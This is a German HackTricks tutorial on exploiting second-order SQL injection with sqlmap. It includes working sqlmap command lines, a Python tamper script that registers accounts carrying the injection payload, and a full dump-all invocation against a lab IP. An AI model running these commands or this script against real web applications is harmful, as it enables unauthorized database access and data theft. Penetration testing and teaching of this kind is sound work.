Second Order Injection - SQLMap

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

SQLMap kann Second Order SQL-Injections ausnutzen. Sie müssen angeben:

  • Die Anfrage, in der die SQL-Injection-Payload gespeichert wird

  • Die Anfrage, in der die Payload ausgeführt wird

Die Anfrage, in der die SQL-Injection-Payload gespeichert wird, wird wie bei jeder anderen Injection in sqlmap angegeben. Die Anfrage, in der sqlmap die Ausgabe/Ausführung der Injection lesen kann, kann mit --second-url oder mit --second-req angegeben werden, wenn Sie eine vollständige Anfrage aus einer Datei angeben müssen.

Einfaches Beispiel für eine Second Order Injection:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

In einigen Fällen reicht dies jedoch nicht aus, da Sie zusätzlich zu dem Senden des Payloads und dem Zugriff auf eine andere Seite andere Aktionen durchführen müssen.

Wenn dies erforderlich ist, können Sie einen sqlmap tamper verwenden. Zum Beispiel registriert das folgende Skript einen neuen Benutzer unter Verwendung des sqlmap Payloads als E-Mail und meldet sich ab.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

Ein SQLMap-Tamper wird immer vor dem Start eines Injection-Versuchs mit einem Payload ausgeführt und muss einen Payload zurückgeben. In diesem Fall kümmern wir uns nicht um den Payload, sondern darum, einige Anfragen zu senden, sodass der Payload nicht geändert wird.

Wenn wir aus irgendeinem Grund einen komplexeren Ablauf benötigen, um die Second-Order-SQL-Injection auszunutzen, wie zum Beispiel:

  • Erstellen eines Kontos mit dem SQLi-Payload im Feld "E-Mail"

  • Abmelden

  • Mit diesem Konto anmelden (login.txt)

  • Eine Anfrage senden, um die SQL-Injection auszuführen (second.txt)

Diese sqlmap-Zeile wird helfen:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated